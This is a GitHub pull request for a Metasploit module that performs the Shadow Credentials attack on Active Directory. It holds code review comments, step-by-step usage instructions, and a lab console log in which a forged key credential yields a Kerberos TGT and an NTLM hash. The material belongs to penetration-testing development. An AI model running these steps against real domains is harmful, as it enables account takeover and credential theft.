-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Shadow Credentials module #19051
Shadow Credentials module #19051
Conversation
# Convert each byte to a 2-digit hexadecimal string | ||
hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } | ||
|
||
# Arrange the hex strings in the correct order for UUID format | ||
uuid_parts = [ | ||
hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) | ||
hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) | ||
hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) | ||
hex_strings[8..9].join, # Next 2 bytes (big-endian) | ||
hex_strings[10..15].join # Last 6 bytes (big-endian) | ||
] | ||
|
||
# Join the parts with hyphens to form the complete UUID | ||
uuid = uuid_parts.join('-') | ||
|
||
return uuid |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think this could be simplified by reusing MsDtypeGuid
here.
# Convert each byte to a 2-digit hexadecimal string | |
hex_strings = bytes.bytes.map { |b| b.to_s(16).rjust(2, '0') } | |
# Arrange the hex strings in the correct order for UUID format | |
uuid_parts = [ | |
hex_strings[0..3].reverse.join, # First 4 bytes (little-endian) | |
hex_strings[4..5].reverse.join, # Next 2 bytes (little-endian) | |
hex_strings[6..7].reverse.join, # Next 2 bytes (little-endian) | |
hex_strings[8..9].join, # Next 2 bytes (big-endian) | |
hex_strings[10..15].join # Last 6 bytes (big-endian) | |
] | |
# Join the parts with hyphens to form the complete UUID | |
uuid = uuid_parts.join('-') | |
return uuid | |
Rex::Proto::MsDtyp::MsDtypGuid.new(bytes).to_s |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Was looking for this functionality somewhere - thanks!
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Was this able to work for you? It doesn't look like it was switched to the MsDtypGuid
class.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I changed it in the key_credential
object itself - it worked well. I did forget to remove this function, though, which was kind of the point. I've amended that. Thanks.
Things are looking really good here. I was able to test the module and confirmed it's all working as intended. I just left a few comments requesting a some changes. Thank you very much for working on this! |
67bff47
to
4557de9
Compare
I've made those changes; although I've now just noticed that the module would have worked without needing to specify a domain at all; so maybe I should put the NTLM default back in for |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I tested this once more and everything seems to be working as intended.
Testing Output
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: f97afad6-a14f-c2fe-ecb9-560c37283fa6 - Created 2024-04-05 15:30:37 -0400
[*] DeviceID: f3be1d1f-a2ea-d303-8de1-2e18437894db - Created 2024-04-05 15:30:38 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > flush
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Successfully deleted the msDS-KeyCredentialLink attribute.
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] The msDS-KeyCredentialLink field is empty.
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > add
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Certificate stored at: /home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID e0895153-8f81-98a1-da83-0f8eb813fcfd
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > add
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Certificate stored at: /home/smcintyre/.msf4/loot/20240409100610_default_192.168.159.10_windows.ad.cs_061539.pfx
[+] Successfully updated the msDS-KeyCredentialLink attribute; certificate with device ID 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: e0895153-8f81-98a1-da83-0f8eb813fcfd - Created 2024-04-09 10:06:05 -0400
[*] DeviceID: 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71 - Created 2024-04-09 10:06:10 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > remove DEVICE_ID=84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[+] Deleted entry with device ID 84c8dc39-63dd-f8bd-e462-5ddeb9a10b71
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > list
[*] Running module against 192.168.159.10
[*] Discovering base DN automatically
[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local
[*] Existing credentials:
[*] DeviceID: e0895153-8f81-98a1-da83-0f8eb813fcfd - Created 2024-04-09 10:06:05 -0400
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/ldap/shadow_credentials) > use kerberos/get_ticket
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/kerberos/get_ticket . normal No Kerberos TGT/TGS Ticket Requester
1 \_ action: GET_HASH . . . Request a TGS to recover the NTLM hash
2 \_ action: GET_TGS . . . Request a Ticket-Granting-Service (TGS)
3 \_ action: GET_TGT . . . Request a Ticket-Granting-Ticket (TGT)
4 \_ AKA: getTGT . . . .
5 \_ AKA: getST . . . .
Interact with a module by name or index. For example info 5, use 5 or use auxiliary/admin/kerberos/get_ticket
[*] Using auxiliary/admin/kerberos/get_ticket
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx RHOSTS=192.168.159.10 USERNAME=smcintyre
[*] Running module against 192.168.159.10
[-] Auxiliary aborted due to failure: bad-config: Username override provided but no domain override provided (must provide both or neither)
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket) > get_hash CERT_FILE=/home/smcintyre/.msf4/loot/20240409100605_default_192.168.159.10_windows.ad.cs_096908.pfx RHOSTS=192.168.159.10 USERNAME=smcintyre DOMAIN=msflab.local
[*] Running module against 192.168.159.10
[!] Warning: Provided principal and realm ([email protected]) do not match entries in certificate:
[+] 192.168.159.10:88 - Received a valid TGT-Response
[*] 192.168.159.10:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20240409100718_default_192.168.159.10_mit.kerberos.cca_395364.bin
[*] 192.168.159.10:88 - Getting NTLM hash for [email protected]
[+] 192.168.159.10:88 - Received a valid TGS-Response
[*] 192.168.159.10:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20240409100718_default_192.168.159.10_mit.kerberos.cca_015371.bin
[+] Found NTLM hash for smcintyre: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
[*] Auxiliary module execution completed
metasploit-framework (S:0 J:0) auxiliary(admin/kerberos/get_ticket)
Release NotesThis adds a new module to add to, list, flush and delete from the LDAP |
This implements Shadow Credentials. Using an account that has write permissions over another (or its own) user account object, you can add a public key credential object to the user account's
msDS-KeyCredentialLink
property, and then use the existing PKINIT functionality inget_ticket
to authenticate as that user.Verification
List the steps needed to make sure this thing works
.md
file)msfconsole
use shadow_credentials
action=list
to show all existing credentials (ID and time created are displayed)action=add
to add a new entry.action=remove
with settingdevice_id
to a credential ID, and verify that it removes the entry, while keeping all othersaction=flush
to remove all existing credential entriesget_ticket
module to request a TGT (settingcert_file
to the created pfx file, and settingusername
anddomain
to the victim user's account name)samr_computer
module to create a new one with a known password, and set theusername
andpassword
).Demo
Happy path - Change other account
Happy path - Computer self-modify
Failure case - Computer modifying when there's already a value
Failure case - old OS